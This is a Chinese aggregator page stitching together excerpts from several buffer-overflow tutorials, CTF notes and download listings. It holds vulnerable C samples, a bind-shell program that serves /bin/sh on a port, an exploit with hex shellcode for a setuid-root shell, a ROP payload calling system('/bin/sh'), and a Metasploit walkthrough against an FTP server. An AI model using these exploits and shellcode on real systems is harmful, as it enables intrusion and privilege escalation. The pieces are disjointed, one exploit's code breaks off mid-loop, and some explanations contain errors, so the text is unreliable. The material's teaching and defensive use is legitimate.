-
2020-03-31 12:13:47
翻译自:https://www.geeksforgeeks.org/buffer-overflow-attack-with-example/
有两种缓冲区溢出攻击的方式:
1. 基于堆 2. 基于栈
第一种实现困难,不常用
第二种非常常见,用到了栈
编译器提供在编译和链接的过程中进行溢出检查的选项,但是运行时间很难检查,除非要用到异常处理机制
下面就是一个栈溢出的代码:
// A C program to demonstrate buffer overflow #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { // Reserve 5 byte of buffer plus the terminating NULL. // should allocate 8 bytes = 2 double words, // To overflow, need more than 8 bytes... char buffer[5]; // If more than 8 characters input // by user, there will be access // violation, segmentation fault // a prompt how to execute the program... if (argc < 2) { printf("strcpy() NOT executed....\n"); printf("Syntax: %s <characters>\n", argv[0]); exit(0); } // copy the user input to mybuffer, without any // bound checking a secure version is srtcpy_s() strcpy(buffer, argv[1]); printf("buffer content= %s\n", buffer); // you may want to try strcpy_s() printf("strcpy() executed...\n"); return 0; }
Input : 12345678 (8 bytes), the program run smoothly.
Input : 123456789 (9 bytes) "Segmentation fault" message will be displayed and the program terminates.
其他的标准函数不会出现栈溢出的情况,例如:strncpy(), strncat(), and memcpy(),但是在这种情况下,程序员必须指定缓冲区大小,而不是编译器指定。
更多相关内容 -
缓冲区溢出原理及植入代码的分析研究.pdf
2021-10-29 18:07:12缓冲区溢出原理及植入代码的分析研究 -
基于源码分析的缓冲区溢出漏洞检测方法
2021-02-07 02:12:18根据缓冲区溢出原因提出一种基于源码分析的缓冲区溢出漏洞检测方法,该方法对源码预处理后进行静态分析并依次构造相应的抽象语法树、控制流图、函数调用图和变量表,最后建立有限状态自动机检测模型.以容易出现溢出的C... -
缓冲区溢出漏洞实验报告
2020-10-15 15:18:171.本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。 输入命令安装一些用于编译 32 位 C 程序的软件包 Sudo apt-get update -
缓冲区溢出教程及配套代码
2017-11-07 17:07:11缓冲区溢出教程及配套代码 缓冲区溢出教程及配套光盘 (c语言 汇编 工具) -
用于检测整数溢出到缓冲区溢出漏洞的高效动态跟踪技术
2021-03-07 00:16:16用于检测整数溢出到缓冲区溢出漏洞的高效动态跟踪技术 -
缓冲区溢出代码实例总结
2016-07-09 11:36:22} 代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。 尝试修改EIP,控制执行路径 buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着...1
#include <stdio.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[8]; // add local buffto be overflowed authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); // over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; while(1) { printf("please input password: "); scanf("%s", password); valid_flag=verify_password(password); if(valid_flag) { printf("incorrect password!\n\n"); } else { printf("Congratulation! You have passed the verification!\n"); break; } } }
如果输入的密码超过7个字符,(注意字符串截断符NULL将占用一个字节),则越界字符的ASCII码会修改掉authenticated的值。如果这段溢出数据恰好把authenticated改为0,则程序流程将被改变。2
#include<stdio.h> void main() { int i=0; int a[]={1,2,3,4,5,6,7,8,9,10}; for(i=0;i<=10;i++) { a[i]=0; printf("Hello World!\n"); } }
这段代码经过VC 6.0编译后,运行,在控制台无限制输出了“HelloWorld!”,3
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[32]; FILE *fp; fp = fopen("bad.txt", "r"); if (!fp) { perror("fopen"); return 1; } fread(buf, 1024, 1, fp); printf("data: %s\n", buf); return 0; }
代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
尝试修改EIP,控制执行路径
buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要覆盖了该地址,就可以修改程序的执行路径。
为此,需要知道从文件读取多少个字节,才开始覆盖EIP。一种方法是反编译程序进行推导,另一种方法是基测试的方法。4
(Linux)
绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。#include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int sock, cli; struct sockaddr_in serv_addr; int main() { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0xAAAA; sock = socket(2, 1, 0); bind(sock, (struct sockaddr *)&serv_addr, 0x10); listen(sock, 1); cli = accept(sock, 0, 0); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execve("/bin/sh", 0, 0); }
5
/* buffer overflow example by watercloud@xfocus.org */ #include<stdio.h> void why_here(void) /*这个函数没有任何地方调用过*/ { printf("why u here ?!\n"); _exit(0); } int main(int argc,char * argv[]) { int buff[1]; buff[2]=(int)why_here; return 0; }
在命令行用VC的命令行编译器编译(在Linux 下用gcc 编译并运行也是同样结果):
仔细分析程序和打印信息,你可以发现程序中我们没有调用过why_here 函数,但该函数却 在运行的时候被调用了!!
这里唯一的解释是buff[2]=why_here;操作导致了程序执行流程的变化。6
(linux)
/* * 文件名 : myex.c * 编译 : gcc -o myex myex.c * * 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击 * 有问题的程序p的程序示范源代码 * 有关程序p的源代码请参见同一文章中的p.c * 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com * * 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作, * 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析. * * 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过. * */ #include #include #include #include #define RET_DIS 14 // Displacement to replace the return address #define NOP 0x90 // Machine code for no operation #define NNOP 100 // Number of NOPs #define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work) char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int get_esp() { __asm__("mov %esp, %eax"); } int main(int argc, char **argv) { char* charPtr = NULL; char* bufferPtr = NULL; int* intPtr = NULL; int shellCodeLength = strlen(shellCode); int bufferSize = RET_DIS + NNOP + shellCodeLength + 1; int retAddr = 0; int adjustment = 0; int i; int esp = get_esp(); if(argc >= 2) { adjustment = atoi(argv[1]); } retAddr = esp + ESP_RET_DIFF + adjustment; bufferPtr = (char *) malloc(bufferSize); if(bufferPtr != NULL) { /* Fill the whole buffer with 'A' */ memset(bufferPtr, 0x41, bufferSize); /* Butt in our return address */ intPtr = (int *) (bufferPtr + RET_DIS); *intPtr++ = retAddr; charPtr = (char *) intPtr; /* To increase the probabilty of hitting the jackpot */ for(i=0; i
shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是
想让main函数调用vulFunc以后返回到shellcode的首地址处,接着执行我们的shellcode,如果能达到这个目的的话,那我们的攻击也就完成了。
这段代码的核心就是填充bufferptr所指向的buffSize个内存块。
可以看到执行后的id变为root,得到超级权限的shell了, -
缓冲区溢出攻防VC源代码
2021-03-15 20:01:08本代码演示了缓冲区溢出的攻击与防范。 关键字:buffer OverFlow,缓冲区溢出 -
C语言常见漏洞-缓冲区溢出
2021-07-21 11:27:21缓冲区溢出1.原理2.攻击方式2.1 利用shellcode2.2 跳到其它函数2.3 其它情况3.防护3.1 canary(栈保护)3.2 NX3.3 RELRO3.4 PIE 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖...缓冲区溢出
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上。
理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
缓冲区溢出有堆缓冲区和栈缓冲区溢出,二者有些不同,大部分情况下都是讨论栈溢出。
1.原理
1.1 函数调用栈情况
程序运行时,为了实现函数之间的相互隔离,需要在调用新函数时保存当前函数的状态,这些信息全在栈上,为此引入栈帧。每一个栈帧保存者一个未运行完的函数的信息,包括局部变量等等。栈帧的边界由ebp/rbp(栈底指针)和esp/rsp(栈顶指针)确定。
先看一看函数调用时的栈情况,以
func1
调用func2
为例。假如func2
有2个形参。当func1调用 func2会执行如下汇编码
push arg2 push arg1 call func2 add esp, 8
一般一个函数(
func2
)的起始和终止汇编代码会有如下操作push ebp mov ebp, esp sub esp, xxx ... mov esp, ebp pop ebp retn
func1
调用func2
之前,栈中只有func1
的局部变量。- 执行call指令前,
func1
将func2
的2个参数压栈,此时ebp在func1
局部变量之下,esp指向func2
的第一个参数arg1
。 - 之后执行
call
指令,将程序下一条指令的eip(add esp,8
)压栈,跳到func2
。ebp不变,esp指向返回地址。 - 之后跳到
func2
指向push ebp
,func1
的ebp被压栈。ebp依旧不变。 - 执行
mov ebp, esp
。此时func2
的ebp指向的是func1
的ebp。 - 执行
sub esp, xxx
,扩充栈空间,给局部变量清出空间。 - 执行
mov esp, ebp
,销毁func2
栈帧,再执行pop ebp。恢复func1
的ebp。此时retn
弹出func1
的 eip(func2
的返回地址)并回到func1继续执行。 - 回到
add esp, 8
指令。清除func2
的2个参数,此时栈中只剩func1
局部变量。
func2
执行完sub esp, xxx
后整个栈空间布局如下,此时ebp指向的是func1
的ebp。从func2
返回地址到func1的局部变量都属于func1
的栈帧。栈 func2
局部变量func1
的ebpfunc2
返回地址(func1
某条指令)func2
2个参数func1
局部变量1.2 缓冲区溢出
void function(char *str) { char buffer[16]; strcpy(buffer,str); }
上述代码从
str
向buffer
复制数据,当str
长度超过16时,就会溢出。问题根源在于strcpy
没有限制复制数据长度,存在类似的问题还有strcat()
,sprintf()
,vsprintf()
,gets()
,scanf()
等。不过随便溢出并不能造成很大的危害,不能达到攻击目的。所以一般攻击者需要利用缓冲区溢出漏洞运行危险函数(比如
system("/bin/sh");
)获取对面shell。2.攻击方式
2.1 利用shellcode
将希望执行的指令输入到栈空间中,利用跳板指令
jmp esp
执行。jmp esp
在user32.dll
中可以找到。正常情况下,栈空间内容为(从上到下增长)
栈空间 栈变量 ebp 返回地址 函数形参 现在存在溢出风险的缓冲区在栈变量中,那么想执行shellcode应该怎么做呢?如何利用
jmp esp
呢?一般来说函数调用最后几句有
pop ebp retn(或pop eip)
retn
之后esp
指向函数形参,而eip此时假如指向esp,那么cpu就会来函数形参区取指令。就可以通过 (栈变量 + ebp +jmp esp
指令地址 + shellcode)这样的组合payload,一路覆盖栈变量,ebp,返回地址和函数形参。即返回地址用jmp esp
的地址取代。jmp esp
在动态链接库里有出现,其地址需要搜索下。2.2 跳到其它函数
假如源代码中存在可以利用的函数,比如如下代码
#include<stdio.h> #include<string.h> void copyout(const char *input) { char buf[10]; strcpy(buf, input); printf("%s \n", buf); } void bar() { system("/bin/sh"); printf("hacked done\n"); } int main(int argc, char *argv[]) { copyout(argv[1]); return 0; }
源代码会执行
main
->copyout
,copyout
中存在缓冲区溢出漏洞,此时只要将copyout
的返回地址替换成bar
的起始地址就行。执行copyout时,栈空间如下
栈空间 copyout
局部变量buf
main
函数ebp返回地址,该地址为 main
函数一个指令的地址函数形参 input
输入的
input
只要能把ebp覆盖并把返回地址替换成bar
的起始地址就行,不需要考虑参数。2.3 其它情况
理想很丰满,现实很骨干,一般代码往往不会有
system("/bin/sh");
摆在一个函数内部,所以需要自己构造。当代码中引入了
system
函数时,可以利用system
函数来构造,比如攻防世界level2,plt表有system
,这里system
地址为0x08048320
(是_system
不是system
),可以用来当返回地址,接下来还需要/bin/sh
字符串。/bin/sh
地址是,0804A024
(data节)漏洞函数如下
这个函数栈如下
栈空间 局部变量 buf
,0x88字节main
函数ebp,4字节返回地址,该地址为 main
函数一个指令的地址,4字节payload就是要将返回地址变成system的地址,并且还附上参数的地址。完整的payload应为(
'a' * (0x88 + 0x04) + p32(system) + p32(0) + p32(bin_sh)
)- 0x88和0x4覆盖buf和ebp,随意设置就行
p32(system)
为system
函数地址,0x8048320
p32(0)
为system
返回地址,随意设置就行p32(system)
为/bin/sh
地址,0804A024
当然,有时候
system
,/bin/sh
都不会出现。这个时候只能通过plt表构造了,一般可执行文件都会引入动态链接库,read,write,printf
等系统函数都会引入,而这些函数在动态链接库里的相对位置不变,所以可以通过它们的地址获取system
的地址。获取
system
地址之后,/bin/sh
一般也在动态链接库里有,此时就可以构造payload了。或者修改某个函数的got地址,比如把printf
换成system
,把printf
输出的可控参数输入成/bin/sh
。(这个不一定每次有用,首先printf
调用和system
调用的参数要一致,其次,参数属于输入参数)。当然,这些操作也更加复杂。3.防护
转自:缓冲区溢出保护机制
3.1 canary(栈保护)
栈溢出保护是一种缓冲区溢出攻击的缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。
当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,该cookie往往放置在ebp/rbp的正上方,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。
攻击者在覆盖返回地址的时候也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
添加canary后依旧有机会通过格式化字符串漏洞或者整数溢出修改返回地址。
3.2 NX
NX即No-eXecute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,主要用来限制shellcode执行。
等同于Windows下的DEP。
gcc编译器默认开启NX选项,通过
-z execstack
可以关闭NX。3.3 RELRO
在前面描述的漏洞攻击中曾多次引入了GOT覆盖方法,GOT覆盖之所以能成功是因为默认编译的应用程序的重定位表段对应数据区域是可写的(如got.plt),这与链接器和加载器的运行机制有关,默认情况下应用程序的导入函数只有在调用时才去执行加载(所谓的懒加载,非内联或显示通过dlxxx指定直接加载),如果让这样的数据区域属性变成只读将大大增加安全性。RELRO(read only relocation)是一种用于加强对 binary 数据段的保护的技术,大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO 分为 partial relro 和 full relro。
开启RELRO后不可修改got表
3.4 PIE
Position-Independent-Executable是Binutils,glibc和gcc的一个功能,能用来创建介于共享库和通常可执行代码之间的代码。
标准的可执行程序需要固定的地址,并且只有被装载到这个地址才能正确执行,PIE能使程序像共享库一样在主存任何位置装载,这需要将程序编译成位置无关,并链接为ELF共享对象。
引入PIE的原因就是让程序能装载在随机的地址,从而缓解缓冲区溢出攻击。
- 执行call指令前,
-
一个缓冲区溢出漏洞的简易教程
2021-04-13 11:42:37这篇文章类似于“傻瓜系列之利用缓冲区溢出”。在这类漏洞中,我们的做法是利用网络,程序控制器,输入等等,发送超大的数据缓冲区给程序,覆盖程序内存的重要部分。在这些缓冲区覆盖程序内存之后,我们可以重定向...这篇文章类似于“傻瓜系列之利用缓冲区溢出”。在这类漏洞中,我们的做法是利用网络,程序控制器,输入等等,发送超大的数据缓冲区给程序,覆盖程序内存的重要部分。在这些缓冲区覆盖程序内存之后,我们可以重定向程序的执行流并运行注入代码。
首先,我们需要做的是查明程序的哪一部分可以用来重写内存。处理这个任务的过程叫作“fuzzing”。我们可以为Metasploit框架中的各种协议找到若干个fuzzer(执行fuzzing任务的工具)。
接下来这个例子中,我们用metasploit对一个ftp服务器进行fuzz:
Fuzzer运行几分钟后,程序就崩溃了,见下图:
在Metasploit窗口中,我们可以看到崩溃缓冲区的长度:
在分析所有输出内容之后,我们可以得出:在ftp服务器通过用户命令发送了一个大于250的缓冲区后,程序崩溃了。
我们可以使用python来重现崩溃:
现在,我们重新实施这次攻击,但是首先要将FTP SERVER进程附加到一个调试器上,在这里我们用的调试器是OLLYDBG。
在实施攻击之后,我们可以很直观地看到ESP,EDI和EIP寄存器被覆盖。
稍微研究一下,大家可以发现:EIP控制程序的执行流,如果可以重写EIP,那么就可以手动重定向程序的执行流。EIP指向下一个待执行地址。
在这里,我们需要知道要重写的EIP缓冲区长度。我们可以在metasplpit中用pattern_create创建一种模式,并且作为一个缓冲区使用,来获取重写EIP的4个字节的位置。
把这些命令添加到我们的利用代码中,并再次运行:
现在,我们可以看到程序内存中的模式。
现在需要使用pattern_offset(偏移量模式)来找到那4个字节的准确位置(只要把4个字节作为一个脚本参数粘贴到EIP里面)。
由于在EIP之后ESP就被重写,我们可以写出这样一段利用代码如下:
并且,如果重新加载,在OLLY里面,可以看到它运行得很好。
在EIP之后,是这样改写ESP的:
那么在EIP里面我们需要做什么呢?将我们的恶意代码放到重写EIP的代码后面,然后需要做的只是简单的JMP ESP。
记住,EIP将包含下一条待执行指令的地址,所以此时需要做的是找到包含JMP ESP的地址。我们可以在OLLY(在E标签页)中进行查找。
一个简单的命令检索将会返回给我们一个地址。
现在,我们拷贝这个地址:
最后,我们需要做的是,在实行攻击之后,加入并执行我们的shell代码。我们可以用metasploit生成这些shellcode。
现在我们的利用代码如下。注意一下案例中CPU的ENDIAN,在EIP寄存器中我们会用到小端格式。
现在,如果我们再次实行攻击,将会运行我们的shellcode。
好的,现在我们可以生成另外的shellcode来执行不同的任务。
我们可以生成一段反向连接的shell代码,来访问我们的受害主机。
把这行代码我们的利用代码中,
最后运行利用代码:
我们的利用代码编写完成。
提示:注意一些特殊字符。如果在缓冲区中间,利用代码被截断,可能是由于一些特殊字符导致的。特殊字符诸如“xa0″、 “|x00″等,会截断shellcode,你必须通过测试找到这些字符,并且在shellcode中避免用到,可别说我没提醒过你!
-
缓冲区溢出漏洞实验报告(附带程序源码和被攻击程序)
2022-04-18 20:52:373.缓冲区溢出演示 4.溢出攻击结果与危害 5.防御手段 适合人群: 具备一定编程基础,作业时间不够的学生,对缓冲区溢出原理不了解的初学者 环境: IDA pro7.6, vc++ ,x32dbg。 阅读建议: 有一点 x32dbg逆向工具... -
《Q版缓冲区溢出》教程+全打包源代码.rar
2019-05-28 09:37:57本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次... -
缓冲区溢出利用实验(详细步骤)
2022-02-23 22:10:36由于程序的运行机制,假设利用 strcpy()函数进行字符串赋值,因定义的字符 串及输入字符串长度不一致或过长,从而占用了 ebp(栈底)和 call(函数)返回地址的栈 区。基于此可利用修改的函数调用结束后的返回地址... -
缓冲区溢出实验.docx
2020-06-23 19:48:31栈溢出、整型溢出和UAF(Use After Free)类型缓冲区溢出是缓冲区溢出常见的三种溢出类型。缓冲区溢出的利用实验。 -
缓冲区溢出
2019-01-08 16:04:45包含完成的视屏教程和共享代码、测试环境,经测试可以运行。 -
经典缓冲区溢出小例子
2020-03-07 00:23:51经典缓冲区溢出小例子 文章目录经典缓冲区溢出小例子0.说明1.基于缓冲区溢出的HelloWord2.永不停止的HelloWord 0.说明 两个小程序,C语言编写,VC++6.0编译 调试用的OD。 小程序来源:“滴水逆向”的视频... -
Q版缓冲区溢出教程源代码
2018-11-06 23:30:00Q版缓冲区溢出教程源代码 本书附的源代码。 -
第三章 缓冲区溢出攻击
2019-05-02 12:30:16详细介绍缓冲区溢出攻击的原理和实验方法,内容包括1)缓冲区溢出的概念;2)程序的内存组织与缓冲区溢出类型;3)缓冲区溢出攻击的三个案例 -
论文研究-基于源代码扫描的缓冲区溢出检测方法 .pdf
2019-08-16 15:48:53基于源代码扫描的缓冲区溢出检测方法,王晓宇,温巧燕,现有的缓冲区溢出检测技术大多都为静态检测技术,缺点是适应性不强,存在大量误报。本文提出了一种新的检测缓冲区溢出的方法和思 -
缓冲区溢出攻击原理实例
2014-08-17 21:52:46BufferOverflow缓冲区溢出攻击原理实例源代码,Visual C++6.0环境下调试通过 -
论文研究-缓冲区溢出原理及植入代码的分析研究.pdf
2019-07-22 21:16:41分析缓冲区溢出及其溢出植入代码的组成结构,指出相应的防御措施;通过分析溢出和植入代码的组成结构,给出缓冲区溢出的一般规律和溢出攻击植入代码的结构特征;最后讨论如何根据溢出规律和植入代码的结构特征,采取... -
防止缓冲区溢出攻击成为网络防护的弱点
2020-03-04 03:24:06而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:殖入并且执行攻击代码。被殖入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 -
基于Python的缓冲区溢出漏洞利用实验 报告+代码
2022-05-15 17:06:18实验四、缓冲区溢出漏洞利用实验 目录 实验四、缓冲区溢出漏洞利用实验 1 一.溢出点定位方法 1 当长度未超过缓冲区时, 1 当长度超过缓冲区时 2 二.漏洞利用方法(给出攻击发生时栈的布局) 3 三.DEP 保护... -
缓冲区溢出实例(一)–Windows
2019-03-12 20:18:42一、基本概念 缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入...在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。 注意,Wi... -
缓冲区溢出详解
2021-02-28 06:58:401 缓冲区溢出原理缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区可以是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。在C/C++语言中,通常使用字符数组和malloc/new之类内存... -
缓冲区溢出攻击实例
2013-12-20 09:02:14缓冲区溢出攻击及防范实例,网络攻击与防御课程使用 -
缓冲区溢出的Delphi演示代码
2021-05-16 22:11:00内容索引:Delphi源码,系统相关,溢出 Delphi演示缓冲区溢出的代码,用于堆栈溢出测试,不能超出6个字符。 -
多图详解缓冲区溢出问题
2020-11-18 23:43:21缓冲区溢出一个常见的后果是:黑客利用函数调用过程中程序的返回地址,将存放这块地址的指针精准指向计算机中存放攻击代码的位置,造成程序异常中止。为了防止发生严重的后果,计算机会采用栈随机化,利用金丝雀值... -
缓冲区溢出的Delphi演示代码..rar
2019-05-11 16:10:51缓冲区溢出的Delphi演示代码..rar -
缓冲区溢出攻击详细讲解.docx
2020-04-12 21:55:32关于计算系统溢出攻击原理文档讲解。缓冲区溢出(Buffer Overflow)是计算机安全...随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。